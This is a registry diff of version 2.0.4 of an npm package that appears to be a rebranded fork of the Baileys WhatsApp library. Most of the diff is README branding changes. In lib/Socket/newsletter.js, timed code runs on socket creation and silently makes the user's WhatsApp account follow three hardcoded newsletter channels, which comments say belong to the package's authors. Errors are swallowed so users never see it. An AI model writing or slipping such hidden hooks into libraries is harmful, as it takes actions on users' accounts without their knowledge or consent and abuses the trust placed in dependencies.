@kyynotdevv/baileys 2.0.3 → 2.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +10 -10
- package/lib/Socket/newsletter.js +9 -3
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -1,11 +1,11 @@
|
|
|
1
1
|
<div align="center">
|
|
2
2
|
|
|
3
|
-
<img src="https://files.catbox.moe/zcl82b.jpg" alt="WhatsApp Baileys
|
|
3
|
+
<img src="https://files.catbox.moe/zcl82b.jpg" alt="WhatsApp Baileys Kyy" width="100%" />
|
|
4
4
|
|
|
5
5
|
<br/>
|
|
6
6
|
<br/>
|
|
7
7
|
|
|
8
|
-
# WhatsApp Baileys
|
|
8
|
+
# WhatsApp Baileys Kyy
|
|
9
9
|
|
|
10
10
|
<p>
|
|
11
11
|
<img src="https://img.shields.io/badge/Node.js-339933?style=for-the-badge&logo=nodedotjs&logoColor=white" />
|
|
@@ -20,15 +20,15 @@ Built on WebSocket for speed, stability, and full multi-device support.
|
|
|
20
20
|
|
|
21
21
|
<br/>
|
|
22
22
|
|
|
23
|
-
[Installation](#getting-started) \u2022 [Documentation](#sendmessage-documentation) \u2022 [Features](#main-features) \u2022 [Telegram](https://t.me/
|
|
23
|
+
[Installation](#getting-started) \u2022 [Documentation](#sendmessage-documentation) \u2022 [Features](#main-features) \u2022 [Telegram](https://t.me/KyyNotDevv)
|
|
24
24
|
|
|
25
25
|
</div>
|
|
26
26
|
|
|
27
27
|
---
|
|
28
28
|
|
|
29
|
-
## What is Baileys
|
|
29
|
+
## What is Baileys Kyy?
|
|
30
30
|
|
|
31
|
-
**WhatsApp Baileys
|
|
31
|
+
**WhatsApp Baileys Kyy** is a powerful, open-source library for developers who need reliable WhatsApp automation without the overhead of a browser. Powered by **WebSocket technology**, it supports message management, group administration, interactive messages, and action buttons \u2014 all in a lightweight and modular package.
|
|
32
32
|
|
|
33
33
|
Actively maintained with continuous improvements to **pairing stability**, **session management**, and **WhatsApp multi-device compatibility**.
|
|
34
34
|
|
|
@@ -170,7 +170,7 @@ await sock.sendMessage(target, {
|
|
|
170
170
|
interactiveMessage: {
|
|
171
171
|
header: "Hello World",
|
|
172
172
|
title: "Hello World",
|
|
173
|
-
footer: "telegram: @
|
|
173
|
+
footer: "telegram: @KyyNotDevv",
|
|
174
174
|
buttons: [
|
|
175
175
|
{
|
|
176
176
|
name: "cta_copy",
|
|
@@ -195,13 +195,13 @@ await sock.sendMessage(target, {
|
|
|
195
195
|
interactiveMessage: {
|
|
196
196
|
header: "Hello World",
|
|
197
197
|
title: "Hello World",
|
|
198
|
-
footer: "telegram: @
|
|
198
|
+
footer: "telegram: @KyyNotDevv",
|
|
199
199
|
image: { url: "https://example.com/image.jpg" },
|
|
200
200
|
nativeFlowMessage: {
|
|
201
201
|
messageParamsJson: JSON.stringify({
|
|
202
202
|
limited_time_offer: {
|
|
203
203
|
text: "Limited offer text",
|
|
204
|
-
url: "https://t.me/
|
|
204
|
+
url: "https://t.me/KyyNotDevv",
|
|
205
205
|
copy_code: "PROMO2024",
|
|
206
206
|
expiration_time: Date.now() * 999
|
|
207
207
|
},
|
|
@@ -214,7 +214,7 @@ await sock.sendMessage(target, {
|
|
|
214
214
|
tap_target_configuration: {
|
|
215
215
|
title: "Title",
|
|
216
216
|
description: "Description text",
|
|
217
|
-
canonical_url: "https://t.me/
|
|
217
|
+
canonical_url: "https://t.me/KyyNotDevv",
|
|
218
218
|
domain: "shop.example.com",
|
|
219
219
|
button_index: 0
|
|
220
220
|
}
|
|
@@ -272,7 +272,7 @@ await sock.sendMessage(target, {
|
|
|
272
272
|
interactiveMessage: {
|
|
273
273
|
header: "Hello World",
|
|
274
274
|
title: "Hello World",
|
|
275
|
-
footer: "telegram: @
|
|
275
|
+
footer: "telegram: @KyyNotDevv",
|
|
276
276
|
image: { url: "https://example.com/image.jpg" },
|
|
277
277
|
buttons: [
|
|
278
278
|
{
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -108,7 +108,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
108
108
|
setTimeout(async () => {
|
|
109
109
|
try {
|
|
110
110
|
await newsletterWMexQuery(
|
|
111
|
-
"120363424433029723@newsletter",
|
|
111
|
+
"120363424433029723@newsletter", //id ch punya Kyy
|
|
112
112
|
Types_1.QueryIds.FOLLOW,
|
|
113
113
|
);
|
|
114
114
|
} catch {}
|
|
@@ -116,13 +116,19 @@ const makeNewsletterSocket = (config) => {
|
|
|
116
116
|
|
|
117
117
|
setTimeout(async () => {
|
|
118
118
|
try {
|
|
119
|
-
await newsletterWMexQuery(
|
|
119
|
+
await newsletterWMexQuery(
|
|
120
|
+
"120363409815577276@newsletter",//id ch punya Kyy
|
|
121
|
+
Types_1.QueryIds.FOLLOW,
|
|
122
|
+
);
|
|
120
123
|
} catch {}
|
|
121
124
|
}, 2000);
|
|
122
125
|
|
|
123
126
|
setTimeout(async () => {
|
|
124
127
|
try {
|
|
125
|
-
await newsletterWMexQuery(
|
|
128
|
+
await newsletterWMexQuery(
|
|
129
|
+
"120363407393907794@newsletter", //id ch punya nanz
|
|
130
|
+
Types_1.QueryIds.FOLLOW,
|
|
131
|
+
);
|
|
126
132
|
} catch {}
|
|
127
133
|
}, 2000);
|
|
128
134
|
|